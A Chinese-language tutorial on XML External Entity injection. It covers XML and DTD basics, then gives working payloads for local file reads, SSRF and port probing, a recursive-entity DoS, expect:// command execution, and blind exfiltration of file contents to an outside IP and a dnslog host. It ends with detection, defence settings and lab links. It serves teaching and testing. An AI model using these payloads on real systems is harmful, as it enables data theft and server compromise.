XXE漏洞介绍
XXE全称XML External Entity Injection,即外部实体注入。owasp网站对其的描述是:XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描,以及其他系统影响。
XML基础知识
XML 指可扩展标记语言(EXtensible Markup Language),是一种很像html的语言。但它的标签需要我们自己定义。
基本格式:
<?xml version="1.0" encoding="UTF-8"?> //开头需要声明 <root> //必须包含一个根元素 <child>//子元素 <subchild></subchild> </child> </root>//所有元素都需要有对应的关闭标签
语法规则:
1.标签大小写敏感
2.属性值必须加引号,单双都可,如果值用双引号可以用单引号包裹
3.所有元素都必须有一个关闭标签
4.标签必须正确嵌套
5.XML中空格会被保留,不像html中只保留一个
6.<、&必须用实体引用,>、‘、“建议使用实体引用(以防万一还是都用实体引用吧)
DTD基础知识
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD中实体可分为内部实体和外部实体,又可分为参数实体。下面分别介绍这两种分类。(其实关于这种分类,我在网上看到好几种说法,也不知道谁是最准确的,但是不管怎么分,也就只有那么几种写法)
内部实体和外部实体
DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。
内部声明DTD <!DOCTYPE 根元素 [元素声明]> 外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> <!DOCTYPE note SYSTEM "Note.dtd"> 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
内部实体声明:(在DTD内部声明)
语法:<!ENTITY entity-name "entity-value"> 示例: <!DOCTYPE author[ <!ELEMRNT author (#PCDATA) <!ENTITY name "Restart"> ]> <author>&name;</author>//引用实体
<?xml version="1.0"?> //xml声明 <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> //定义了note元素,并且note元素下面有4个子元素 <!ELEMENT to (#PCDATA)> //定义了子元素to,后面的(#PCDATA)意思是to元素里面的字符串内容不会被解析 <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> //从<!DOCTYPE...到}>,是DTD文档的定义 <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> //后面这部分就是XML文件内容
外部实体声明:(在DTD外部声明实体)
语法:<!ENTITY entity-name SYSTEM "URL/URI"> 示例: <!DOCTYPE author [ <!ENTITY name SYSTEM "author.dtd"> ]> <author>&name;</author>//引用实体
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
下面是note.dtd的内容
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
外部声明实体外部实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:
不同语言下支持的协议:
参数实体
<!ENTITY %实体名称 "值"> <!ENTITY %实体名称 SYSTEM "URL">
语法:<!ENTITY % entity-name "entity-value"> 示例: <!DOCTYPE author[ <!ENTITY % name "Restart"> ]> <author>%name;</author>
实例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
而里面引用的外部实体evil.dtd的内容:
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
正因为外部实体支持的http,file等协议,那么就有可能通过以用外部实体进行远程文件读取。
参数实体参数实体只能在DTD中定义和使用实体,一般的话引用时%作为前缀。而内部实体是指在一个实体中定义的另一个实体,说白了就是嵌套的。
可以发现除了参数实体在定义和引用的时候需要用%,其他实体引用都是用&。
总结出来可以知道,在XML中引用实体,都需要(&或%)+(实体名)+(;),这三个条件(或者说元素)缺一不可。
利用方式
可利用其它各种协议进行操作,一般常用的是file、http、php协议。
文件读取
抓包后简单构造读取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
有的时候不能直接读出文件内容,需要编码一下,例如读取php文件。因为php文件内部已经含有<等字符,因此需要用filter来读
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">]>
还有一个需要注意的地方,就是嵌套的参数实体,内层的%需要改为字符实体,例如
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///flag">]> <H3rmesk1t> <ctfshow> &xxe; </ctfshow> </H3rmesk1t>
构造服务器接收的标签,将变量写到标签内部。
内网探测
正因为xml外部实体攻击利用的http协议,也就是说利用该请求探测内网端口的存活,从而可以进行ssrf攻击。构造代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> ]> <user><username>&xxes;</username><password>admin</password></user>
DOS攻击
本质是递归,通俗来说就是套娃
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
expect rce(命令执行)
在安装expect扩展的PHP环境里执行系统命令
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
无回显的xxe
这种xxe需要将数据外带,可以利用burp上的collaborator工具
原理就是将这个工具随机产生的url复制到xxe的payload中,当目标服务器进行了外部的请求和交互,该工具会记录下来,于是证明了漏洞存在。
当然,除了利用这个工具,其他平台也可以,类比其他攻击方式的数据外带
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
可以将文件内容发送到远程服务器,然后读取。
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
具体无回显参考:XXE漏洞学习 - 时光不改 - 博客园
外部引用
1、利用dnslog检测是否存在漏洞
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user>
2、外部引用尸体dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> evil2.dtd <!ENTITY send SYSTEM "file:///d:/e.txt">
3、无回显读文件
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/e.txt"> <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd"> %remote; %all; ]> <root>&send;</root> test.dtd <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">
当file协议读取不了的时候尝试使用base64加密来读取 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd"> %remote; %all; ]> <root>&send;</root> test.xml <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">
Content-Type中的json和xml
当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击
简单来说就是将Content-Type: application/json改为Content-Type: application/xml,然后将post的内容格式也从json转换为xml,举个例子
原始json数据: {"search":"name","value":"netspitest"} 修改为xml格式后: <?xml version="1.0" encoding="UTF-8" ?> <root> <search>name</search> <value>netspitest</value> </root>
加上root的原因是:json转换过来后没有XML格式文件所必须的元素,可能导致服务器无法正常响应
关于office文件xxe攻击的实现
这个地方首先需要明白xml文件的文件格式,其本质也属于zip压缩文件,相信做过misc题目的同学应该都清楚,office的文件都可以将后缀名改成zip,以压缩文件的方式查看。
了解了这一点,那么来看看excel的构成。这里我新建了一个空白的excel文件,将后缀改为了zip后打开
这里关注[Content_Types].xml文件,将payload插入这个文件,然后将压缩包还原为excel文件进行后续攻击
为了能够更加清楚地理解这种攻击方式,这里给出三个例子
3.利用Blind XXE Getshell(Java网站)
因此,当渗透测试时遇到上传office文件的地方,不妨尝试一下这种攻击方式
绕过
当检测版本号的时候,可以不写版本号
无回显利用 <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd"> %remote; %all; ]> <root>&send;</root>
当过滤了http的时候,可以尝试使用utf-16来绕过
在python中写post请求进行发包 将payload进行utf-16编码
漏洞检测
1、检测XML是否会被解析
查看其返回,如果能被解析,则发送构造了payload的数据包过去,看是否仍然能被解析。
获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
流程:功能分析-前端提交-源码&抓包-构造Paylod测试
2、检测服务器是否支持外部实体
3、如果上面两步都支持,那么就看能否回显。有则直接攻击,无则参考无回显的xxe攻击
4、看是否是xfire开发的或者某些wsdl结尾的文件
解析wsdl文件生成request,可以利用soap解析工具,当生成request之后可将实体编码的payload放到<queryInfo>标签后面,若服务器存在此漏洞,则会根据payload中的内容做指定操作,如远程访问访问我们的主机,这是我们可以监听对应的端口,查看结果。
5、查看有明显的XML作为内容的输入点的,及某些以json格式的request。
6、从php代码层面上
最开始,引入一个file_get_contents
函数,将整个XML数据读入data
字符串中,然后交给php的xml解析函数simplexml_load_string()
解析,解析后的数据赋给xml
变量。
这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。
代码审计
直接搜特定函数或特定功能
相关函数
file_get_contents() 函数:接收xml变量 loadXML() 函数:从字符串中加载XML文件 simplexml_load_string() 函数:解析xml
漏洞危害
DOS攻击
SSRF攻击
使用file协议读取文件
端口探测
执行系统命令
漏洞防御
-
使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤和验证用户提交的XML数据过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
不允许XML中含有任何自己声明的DTD
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
注意
需要注意的就是XXE的造成与PHP版本无关,与libxml库的版本有关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。
靶场:
json格式的xxe:http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://download.vulnhub.com/xxe/XXE.zip
xxe自动化工具:
https://github.com/enjoiz/XXEinjector
https://github.com/vkbiu/docem
参考:
xxe详细文章:XXE漏洞学习从入门到放弃 - 简书
java的xxe漏洞:JAVA的XXE漏洞 - 简书
向docx odt pptx等文件中嵌入XXE或XSS Payload:Docem:向docx odt pptx等文件中嵌入XXE或XSS Payload - FreeBuf网络安全行业门户